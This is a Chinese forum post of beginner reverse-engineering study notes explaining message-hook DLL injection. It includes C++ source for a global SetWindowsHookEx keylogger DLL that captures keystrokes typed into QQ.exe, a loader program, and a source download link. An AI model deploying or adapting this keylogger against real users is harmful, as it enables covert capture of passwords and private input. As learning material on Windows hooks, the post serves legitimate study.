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[原创]萌新逆向学习笔记——消息钩子键盘记录
2020-8-11 20:13 5377

[原创]萌新逆向学习笔记——消息钩子键盘记录

2020-8-11 20:13
5377

0x0 前言:

我还记得小时候——大概08年那会儿,流行玩一款叫梦幻西游的网游。那时候我尚幼小,并没有诸如电脑病毒,木马等概念,反正拿到鼠标键盘就是一顿操作,玩玩游戏就行。直到有一天电脑突然弹出一个记事本exe,上面写道:“你的马面真的是垃圾。”本沉迷网游的我一下从梦中惊醒。还没等我反应过来,鼠标不受控制,右下角退出瑞星杀毒软件。后来两个游戏号陆续被盗,让我很是沉闷一段时间。

 

直到现在我学习了《逆向工程核心原理》,看到了DLL注入的一种方式——消息钩子注入。才忽然恍然大悟,仿佛抓到了当年被盗号的真相的尾巴。

0x2 准备事项:

阅读此文需要具备以下一定的知识:

  1. c++编程语言基本知识
  2. 些少的win32API 知识
  3. 会上MSDN微软官网查询API

本文是笔者的学习读书笔记,用以总结记录,如有错误,多多指出。倘若读者为逆向入门,也不妨尝试阅读此文。

 

如果读者没看懂代码不要紧代码部分可跳过,紧记住整个的流程,对关键的API产生印象。待日后熟悉了C++和一些API,也自然看得懂了。

0x4 原理:

从代码上来看,就是利用微软官方提供的API SetWindowsHookExA/SetWindowsHookExW来设置消息钩子,拦截特定的输入(如键盘和鼠标等)。

 

从整个过程来看:

  1. 当我们通过键盘输入,系统(OS)会把键盘输入这个事件发送到系统消息队列(OS message queue)
  2. 随后系统会从这个消息队列里拿出这个事件,判断这个输入是在哪个程序发生的。
  3. 发送到输入发生地程序的消息列表中(application message queue)
  4. 目标程序把键盘输入的事件拿出,执行并显示

而调用SetWindowsHookExA/`SetWindowsHookExW事实上就是在OS message queue和application message queue之间设置了一个钩子,有了它我们就可以在键盘输入这个事件到达目标程序前处理事件。因此你可以用来偷偷记录,亦或者是更改其内容。

 

很神奇吧,为什么是在OS message queue和application message queue间设置了钩子而不是在其他地方呢?这不是笔者说的算的,这是本来就存在的,是微软就是这么设计的,并不是什么黑科技。

 

而在OS message queue和application message queue之间的钩子,实际上是一个钩链。这意味着钩子可以设置多个。他们会像排队一样按顺序的处理输入的事件,钩子的代码里也可以决定是否把事件给下一个钩子处理。

 

1

0x6 API官方文档

首先看一下SetWindowsHookExW需要的参数。

HHOOK SetWindowsHookExW(
  int       idHook, 
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);
  1. int hook——指定事件的钩子ID,如键盘事件WH_KEYBOARD。设置后只对键盘输入起反应。
  2. HOOKPROC lpfn——钩子的处理函数,若设置的是键盘输入钩子,必须是微软定义的一个叫KeyboardProc的函数。
  3. HINSTANCE hmod——模块句柄,因此一般设置钩子的地方在DLL中。
  4. DWORD dwThreadId——需要设置钩子的线程ID,倘若为0则为全局钩子(所有程序都钩)。

关于KeyboardProc函数:
根据文档其定义如下:

LRESULT CALLBACK KeyboardProc(
  _In_ int    code,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

参数说明:

  1. int code——有三种值,小于0,等于0,等于3。
    1.1 小于0:表示必须调用CallNextHookEx函数传递消息,传递给下一个钩子。并且不能做过多处理
    1.2 等于0:表示参数wParam和lParam 包含关于按键虚拟值相关信息,相关具体值,可看文档(我们正是需要这种)
    1.3 等于3:包含第二种情况,同时表示该按键事件被使用PeekMessage方法偷看过
  2. WPARAM wParam——键盘输入按键对应的虚拟值(我们用这个判断按下什么键)
  3. LPARAM lParam——包含各种各样的值,需要的可看官方文档

0x8 实践

首先看看实际调用SetWindowsHookExW的地方。这是一个自己写的DLL。他通过__declspec(dllexport)关键字来导出函数,来给我们写的程序(EXE)调用启动:
KeyHook.dll中内容:

#define DllExport __declspec(dllexport)
extern "C" {

    DllExport void HookStart() { //导出自定义的HookStart函数
        myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0);
    }

    DllExport void HookStop() {  //导出自定义的HookStop函数
        UnhookWindowsHookEx(myHook);
        myHook = NULL;
    }
}

请注意我们需要写两个PE文件,一个是exe,一个是dll。钩子设置以及实现的内容均在dll中,exe只是一个药引子,用来启动它。至于为什么要这样,这是大概是因为SetWindowsHookEx的使用必须是在模块当中。而这里用关键字导出两个函数,是为了给药引子程序来启动它。

 

可以看到SetWindowsHookEx的第二个参数KeyboardProc就是我们核心的内容,它记录了键盘的输入:

#define DEF_PROCESS_NAME L"QQ.exe"
LRESULT CALLBACK KeyboardProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
) {
    WCHAR szPath[MAX_PATH] = { 0 };
    WCHAR* p = NULL;
    if (code == 0)
    {
        if (!(lParam & 0x80000000))  //松开按键判断,这里常规操作
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);  //获取当前调用该DLL的文件路径 如z:\sofeware\QQ\QQ.exe
            p = wcsrchr(szPath, '\\');  //获取最后一个符号\后的字符串
            setlocale(LC_ALL, ""); //使用_wcsicmp函数前的固定操作
            BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME); //判断当前进程是否为QQ.exe 若相等返回0,但TURE的值是1
            BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A;  //数字和字母判断
            OutputDebugString(p+1);  //输出到Debug日志
            OutputDebugString(szPath);
            if (isTarget && isNumberLetter)
            {
                result.push_back((WCHAR)wParam);
            }
            if (wParam == VK_RETURN)  //回车键判断
            {
                OutputDebugString(getInput()); //输出结果
                result.clear();
            }
        }
    }
    return CallNextHookEx(myHook, code, wParam, lParam);
}

这里大概逻辑是先拿到当前调用DLL的文件名,判断是否为QQ.exe,如果是则记录在list中,当按下回车时,将list中记录的内容输入到debug消息。代码不难,前提是有C++基础。

 

SetWindowsHookEx的第三个参数myModule可以在DLL初始化时获得:

HMODULE myModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        myModule = hModule; //初始化
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

还是说明一下,这里的DllMain方法是DLL初始化时必定会走的地方,所以这里又是一个"微软规定"。

 

至此,键盘记录的核心实现内容已讲解完,剩下的还有"药引子"exe程序。
ConsoleApplication1.exe

#define HOOK_START "HookStart"
#define HOOK_STOP "HookStop"
#define DLL_NAME "KeyHook.dll"
PEN_HOOKSTART hookStart = NULL;
PEN_HOOKSTOP hookStop = NULL;
HMODULE hdll;
hdll = LoadLibraryA(DLL_NAME); //通过名字加载同目录下的DLL文件,此时会调用DLL的DllMain函数
hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP);   //通过函数名字和DLL句柄,获取函数地址
hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);
hookStart();

这里主要看看核心代码即可,整个过程为DLL常规的调用。载入DLL->从DLL中获取函数->调用。倘若是第一次接触相关API建议看看相关文档,这里只涉及LoadLibraryAGetProcAddress两个API。请注意GetProcAddress获取的函数必须是通过先前关键字导出的函数,否则无法获取。

 

最后我们就能看到:

 

1

 

ps:注意使用DebugView来查看debug输出。因为笔者调用的函数是输出到debug日志里的而不是控制台上。

0xA 问题之所在

字母大小写

有一个明显的问题就是,记录的虚拟按键值无法区分大小写。这是因为提供的虚拟按键值并没有字母大小写之分见文档

药引子程序卡死

当安装钩子后,药引子程序会卡死。经过相关百度和文档查阅可得知这是因为DLL和被挂钩子的程序位不一样。
如:笔者写的DLL为32位钩子,而目标程序为64位程序。
这样就会导致按键事件分发不到具体的钩子处理函数,而事件已经被标志为已挂钩,必须找到处理函数。这就会产生事件无法得到处理,程序卡死的现象:

Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes

 

一句话来说就是32位的DLL钩子只能注入32位程序,同理64位也是如此。但问题是我的药引子程序也是32位的,DLL也是32位的,虽然笔者设置的是全局钩子,但为何还会卡死呢?

 

值得一提的是,当把DLL和药引子程序均设为64位时,药引子程序便没有卡死。

0xC 总结

当从书里出来,自己实现一遍遇到各种各样的问题并解决后,原本觉得是天书的代码焕然一新,仿佛觉得能信手拈来。钩子注入的核心在于对拦截事件的处理。而作为新手的我们,应该先注重如何注入钩子,再去考虑如何处理事件。当两者已了然于胸,到时候离逆向之路也会走的更远了吧。

 

示例及源码下载:https://share.weiyun.com/3nCWkg6z


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最后于 2020-8-11 20:47 被psycongroo编辑 ,原因: 添加下载联机
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kxzpy 活跃值 2020-8-12 05:47
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钩子勾住后,如何发送文本到VBA或者c#呢,比如搞个输入法!
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mb_nvqwrsuv 活跃值 2020-8-22 15:17
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为什么getmodulefilename可以取到qq的路径呢 楼主不是通过自己写的“药引子”.exe加载并执行dll函数吗?
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psycongroo 活跃值 2 2020-8-22 16:54
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mb_nvqwrsuv 为什么getmodulefilename可以取到qq的路径呢 楼主不是通过自己写的“药引子”.exe加载并执行dll函数吗?
根据文档记载(https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea)
getmodulefilename的作用是获取包含它模块的完全限定路径。而文中调用getmodulefilename的地方是在被注入到QQ的DLL中,因此getmodulefilename就可以活的QQ的路径了。
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盛夏的第五章 活跃值 2020-10-2 11:07
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qq的键盘钩子真的能挂上去吗,一输入qq就卡住了,可能qq有保护程序
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